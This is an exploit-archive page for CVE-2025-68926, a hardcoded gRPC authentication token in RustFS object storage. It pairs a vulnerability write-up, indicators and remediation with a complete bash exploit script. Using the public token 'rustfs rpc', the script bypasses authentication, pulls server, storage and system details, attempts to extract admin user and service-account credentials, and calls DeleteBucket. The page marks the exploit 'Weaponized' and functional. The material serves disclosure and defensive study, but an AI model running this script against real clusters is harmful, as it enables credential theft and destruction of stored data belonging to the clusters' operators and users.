PoC Archive PoC Archive
Critical CVE-2025-68926 unpatched

RustFS Hardcoded gRPC Authentication Token Leading to Full Node Compromise (CVE-2025-68926)

by materaj2 · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-68926
Category
cloud
Affected product
RustFS (Rust-based S3-compatible distributed object storage) — internal node-to-node gRPC service
Affected versions
< 1.0.0-alpha.78
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchermateraj2
CVE / AdvisoryCVE-2025-68926
Categorycloud
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagsrustfs, grpc, hardcoded-credentials, authentication-bypass, object-storage, s3-compatible, information-disclosure, credential-theft, data-destruction, cwe-798, cwe-306
RelatedN/A

Affected Target

FieldValue
Software / SystemRustFS (Rust-based S3-compatible distributed object storage) — internal node-to-node gRPC service
Versions Affected< 1.0.0-alpha.78
Language / PlatformBash (PoC using grpcurl); target is a Rust gRPC service (node_service.NodeService)
Authentication RequiredNo (the “authentication” token is a hardcoded, publicly known constant)
Network Access RequiredYes (direct network access to the RustFS internal gRPC port, default 9000-range)

Summary

RustFS’s internal cluster/node gRPC service (node_service.NodeService) authenticates peer-to-peer RPC calls using a fixed, hardcoded bearer token — the literal string "rustfs rpc" — which is compiled into every RustFS build and cannot be rotated or configured by operators. Any network-reachable attacker who can supply this well-known string as the authorization gRPC metadata header is treated as a fully trusted internal cluster node, bypassing authentication entirely. The included PoC uses grpcurl against the real node.proto service definition to demonstrate that an unauthenticated caller can invoke any of the 70+ privileged NodeService RPCs — including server/system information disclosure, credential and service-account theft, bucket/volume deletion, and cluster reconfiguration/service control — resulting in complete compromise of the storage cluster.


Vulnerability Details

Root Cause

RustFS nodes communicate over an internal gRPC service defined in node.proto (node_service.NodeService), exposing dozens of privileged administrative RPCs (DeleteBucket, LoadUser, LoadServiceAccount, SignalService, disk/volume read-write primitives, etc.). Authentication for these calls is enforced via a gRPC metadata header (authorization) that the server compares against a single hardcoded constant value, "rustfs rpc", rather than a per-deployment secret, mTLS client certificate, or rotatable credential:

1
2
3
4
5
HARDCODED_TOKEN="rustfs rpc"
...
${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/Ping

Because this string is identical and public across every RustFS installation (it ships in the binary/source and is now published in this PoC), any attacker with network access to the gRPC port can present it and be treated as a legitimate, fully-privileged internal peer — there is no per-cluster secret, TLS mutual authentication, or IP allow-listing enforced by default.

Attack Vector

  1. Attacker identifies a reachable RustFS internal gRPC endpoint (default plaintext gRPC, e.g. host:9000).
  2. Attacker confirms the service rejects unauthenticated Ping calls (baseline sanity check).
  3. Attacker resends Ping with the metadata header authorization: rustfs rpc — the server accepts it as a trusted node and returns version/status data, confirming the bypass.
  4. Using the same hardcoded token, the attacker calls further privileged RPCs: ServerInfo, LocalStorageInfo, GetOsInfo, GetCpus, GetMemInfo, GetProcInfo for full system/storage reconnaissance.
  5. Attacker calls LoadUser / LoadServiceAccount with a target access key to attempt extraction of credentials and service-account data.
  6. Attacker calls DeleteBucket to demonstrate the ability to destroy arbitrary storage buckets.
  7. Broader impact (not all exercised by the PoC but exposed by the same token/service) includes SignalService (start/stop/restart nodes), pool/rebalance/tier reconfiguration, and low-level disk read/write/delete primitives (ReadAll, WriteAll, Delete, RenameFile, etc.), enabling full data manipulation across the cluster.

Impact

Unauthenticated, remote, complete compromise of a RustFS storage cluster: information disclosure (server/system/storage metadata), theft of user and service-account credentials, arbitrary destruction of buckets/volumes/objects, and administrative control over cluster services (start/stop, rebalance, tiering, replication) — all without any valid credentials, since the “authentication” is a single public hardcoded string.


Environment / Lab Setup

Target:   RustFS < 1.0.0-alpha.78, internal node gRPC service reachable (default plaintext, e.g. host:9000)
Attacker: grpcurl (https://github.com/fullstorydev/grpcurl), bash
          node.proto (matching RustFS's crates/protos/src/node.proto,
          e.g. https://raw.githubusercontent.com/rustfs/rustfs/1.0.0-alpha.77/crates/protos/src/node.proto)
Note:     Script auto-downloads a standalone grpcurl binary if only a snap-confined grpcurl is available

Proof of Concept

PoC Script

See exploit.sh and node.proto in this folder.

1
2
chmod +x exploit.sh
./exploit.sh TARGET:9000

The script performs a baseline unauthenticated check, then re-runs each privileged RPC (Ping, ServerInfo, LocalStorageInfo, GetOsInfo, GetCpus, GetMemInfo, LoadUser, LoadServiceAccount, DeleteBucket, GetProcInfo) using grpcurl with the metadata header authorization: rustfs rpc, printing each disclosed response and a final vulnerability summary.


Detection & Indicators of Compromise

authorization: rustfs rpc

Signs of compromise:

  • gRPC access/audit logs showing NodeService RPC invocations from IPs outside the known cluster peer set
  • Unexplained bucket/volume deletions or metadata rewrites
  • Unexpected SignalService calls (node restarts/stops) or rebalance/replication reconfiguration events
  • Presence of the literal string rustfs rpc in captured network traffic to the gRPC port from non-peer hosts

Remediation

ActionDetail
Primary fixUpgrade RustFS to >= 1.0.0-alpha.78, which addresses the hardcoded token issue
Interim mitigationRestrict network access to the internal gRPC port to trusted cluster nodes only (firewall/security groups/private network segmentation); do not expose the node gRPC service to the public internet; monitor for unauthorized use of the rustfs rpc token in traffic

References


Notes

Mirrored from https://github.com/materaj2/CVE-2025-68926-repo on 2026-07-06. exploit.sh uses grpcurl against the real RustFS node.proto service definition to abuse the hardcoded rpc token; legitimate, functional exploit with no templated branding.

exploit.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/bin/bash
#
# CVE-2025-68926 - RustFS Hardcoded gRPC Authentication Token Exploit
#
# Vulnerability: RustFS uses a hardcoded, publicly known gRPC authentication
#                token "rustfs rpc" that cannot be rotated or configured.
# Impact:        Unauthenticated attackers can execute 73+ privileged gRPC
#                operations including data deletion, credential theft,
#                and cluster reconfiguration.
# CVSS:          9.8 (CRITICAL)
# Affected:      RustFS < 1.0.0-alpha.78
# Fixed in:      1.0.0-alpha.78
#

set +e

TARGET="${1:-localhost:9000}"
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
PROTO_FILE="node.proto"
HARDCODED_TOKEN="rustfs rpc"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

if [ ! -f "${SCRIPT_DIR}/${PROTO_FILE}" ]; then
    echo -e "${RED}[!] Proto file not found: ${SCRIPT_DIR}/${PROTO_FILE}${NC}"
    echo "    Download from: https://raw.githubusercontent.com/rustfs/rustfs/1.0.0-alpha.77/crates/protos/src/node.proto"
    exit 1
fi

PROTO_DIR="${SCRIPT_DIR}"
GRPCURL_BIN="grpcurl"
CLEANUP_DIR=""

# Check for grpcurl - if snap-installed, download standalone binary
# (snap confinement blocks file access outside $HOME)
if command -v grpcurl &> /dev/null; then
    if command -v grpcurl 2>/dev/null | grep -q snap; then
        echo -e "${YELLOW}[*] Snap-installed grpcurl detected (has file access restrictions)${NC}"
        echo -e "${YELLOW}[*] Downloading standalone grpcurl binary...${NC}"
        CLEANUP_DIR=$(mktemp -d)
        ARCH=$(uname -m)
        case "${ARCH}" in
            x86_64)  GRPC_ARCH="x86_64" ;;
            aarch64) GRPC_ARCH="arm64" ;;
            *)       GRPC_ARCH="${ARCH}" ;;
        esac
        curl -sSL "https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcurl_1.9.3_linux_${GRPC_ARCH}.tar.gz" \
            | tar -xz -C "${CLEANUP_DIR}" grpcurl
        GRPCURL_BIN="${CLEANUP_DIR}/grpcurl"
        chmod +x "${GRPCURL_BIN}"
        echo -e "${GREEN}[+] Standalone grpcurl ready${NC}"
    fi
else
    echo -e "${RED}[!] grpcurl is required but not installed.${NC}"
    echo "    Install: https://github.com/fullstorydev/grpcurl/releases"
    echo "    Or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest"
    exit 1
fi

cleanup() { [ -n "${CLEANUP_DIR}" ] && rm -rf "${CLEANUP_DIR}"; }
trap cleanup EXIT

echo -e "${CYAN}=========================================${NC}"
echo -e "${CYAN} CVE-2025-68926 - RustFS gRPC Auth Bypass${NC}"
echo -e "${CYAN}=========================================${NC}"
echo -e "${YELLOW}[*] Target: ${TARGET}${NC}"
echo ""

# Step 1: Verify target is vulnerable (unauthenticated request should fail)
echo -e "${YELLOW}[Step 1] Testing unauthenticated access (should be rejected)...${NC}"
UNAUTH_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    "${TARGET}" node_service.NodeService/Ping 2>&1 || true)

if echo "${UNAUTH_RESULT}" | grep -q "Unauthenticated"; then
    echo -e "${GREEN}  [+] Server rejects unauthenticated requests (expected)${NC}"
else
    echo -e "${RED}  [-] Unexpected response: ${UNAUTH_RESULT}${NC}"
    exit 1
fi

# Step 2: Exploit with hardcoded token
echo ""
echo -e "${YELLOW}[Step 2] Exploiting with hardcoded token: '${HARDCODED_TOKEN}'...${NC}"
AUTH_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/Ping 2>&1)

if echo "${AUTH_RESULT}" | grep -q "version"; then
    echo -e "${RED}  [!] VULNERABLE - Authentication bypassed successfully!${NC}"
    echo -e "  Response: ${AUTH_RESULT}"
else
    echo -e "${GREEN}  [+] Server rejected hardcoded token (patched)${NC}"
    exit 0
fi

# Step 3: Information Disclosure - ServerInfo
echo ""
echo -e "${YELLOW}[Step 3] Extracting server information (ServerInfo)...${NC}"
SERVER_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/ServerInfo 2>&1)
echo -e "${RED}  [!] Server info leaked:${NC}"
echo "  ${SERVER_INFO}"

# Step 4: Information Disclosure - LocalStorageInfo
echo ""
echo -e "${YELLOW}[Step 4] Extracting storage information (LocalStorageInfo)...${NC}"
STORAGE_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/LocalStorageInfo 2>&1)
echo -e "${RED}  [!] Storage info leaked:${NC}"
echo "  ${STORAGE_INFO}"

# Step 5: Information Disclosure - System Info
echo ""
echo -e "${YELLOW}[Step 5] Extracting system information...${NC}"

echo -e "  ${CYAN}[OS Info]${NC}"
OS_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/GetOsInfo 2>&1)
echo "  ${OS_INFO}"

echo -e "  ${CYAN}[CPU Info]${NC}"
CPU_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/GetCpus 2>&1)
echo "  ${CPU_INFO}"

echo -e "  ${CYAN}[Memory Info]${NC}"
MEM_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/GetMemInfo 2>&1)
echo "  ${MEM_INFO}"

# Step 6: Credential Theft - LoadUser
echo ""
echo -e "${YELLOW}[Step 6] Attempting credential theft (LoadUser)...${NC}"
USER_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    -d '{"accessKey":"rustfsadmin"}' \
    "${TARGET}" node_service.NodeService/LoadUser 2>&1)
echo -e "${RED}  [!] LoadUser response:${NC}"
echo "  ${USER_INFO}"

# Step 7: Credential Theft - LoadServiceAccount
echo ""
echo -e "${YELLOW}[Step 7] Attempting service account theft (LoadServiceAccount)...${NC}"
SA_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    -d '{"accessKey":"rustfsadmin"}' \
    "${TARGET}" node_service.NodeService/LoadServiceAccount 2>&1)
echo -e "${RED}  [!] LoadServiceAccount response:${NC}"
echo "  ${SA_INFO}"

# Step 8: Destructive Operations - DeleteBucket
echo ""
echo -e "${YELLOW}[Step 8] Demonstrating destructive capability (DeleteBucket)...${NC}"
DEL_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    -d '{"bucket":"test-delete"}' \
    "${TARGET}" node_service.NodeService/DeleteBucket 2>&1)
echo -e "${RED}  [!] DeleteBucket response (attacker can delete ANY bucket):${NC}"
echo "  ${DEL_RESULT}"

# Step 9: Get Process Info
echo ""
echo -e "${YELLOW}[Step 9] Extracting process info (GetProcInfo)...${NC}"
PROC_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \
    -H "authorization: ${HARDCODED_TOKEN}" \
    "${TARGET}" node_service.NodeService/GetProcInfo 2>&1)
echo -e "${RED}  [!] GetProcInfo response:${NC}"
echo "  ${PROC_RESULT}"

# Summary
echo ""
echo -e "${CYAN}=========================================${NC}"
echo -e "${CYAN} Exploit Summary${NC}"
echo -e "${CYAN}=========================================${NC}"
echo -e "${RED}  [!] Target ${TARGET} is VULNERABLE to CVE-2025-68926${NC}"
echo ""
echo -e "  The hardcoded gRPC token '${HARDCODED_TOKEN}' grants access to:"
echo -e "  ${RED}  - 73+ privileged gRPC methods${NC}"
echo -e "  ${RED}  - Server/storage/system information disclosure${NC}"
echo -e "  ${RED}  - Credential theft (users, service accounts, policies)${NC}"
echo -e "  ${RED}  - Data destruction (delete buckets, volumes)${NC}"
echo -e "  ${RED}  - Cluster reconfiguration${NC}"
echo -e "  ${RED}  - Service control (stop/restart server)${NC}"
echo ""
echo -e "${GREEN}  Fix: Upgrade to RustFS >= 1.0.0-alpha.78${NC}"
echo -e "${CYAN}=========================================${NC}"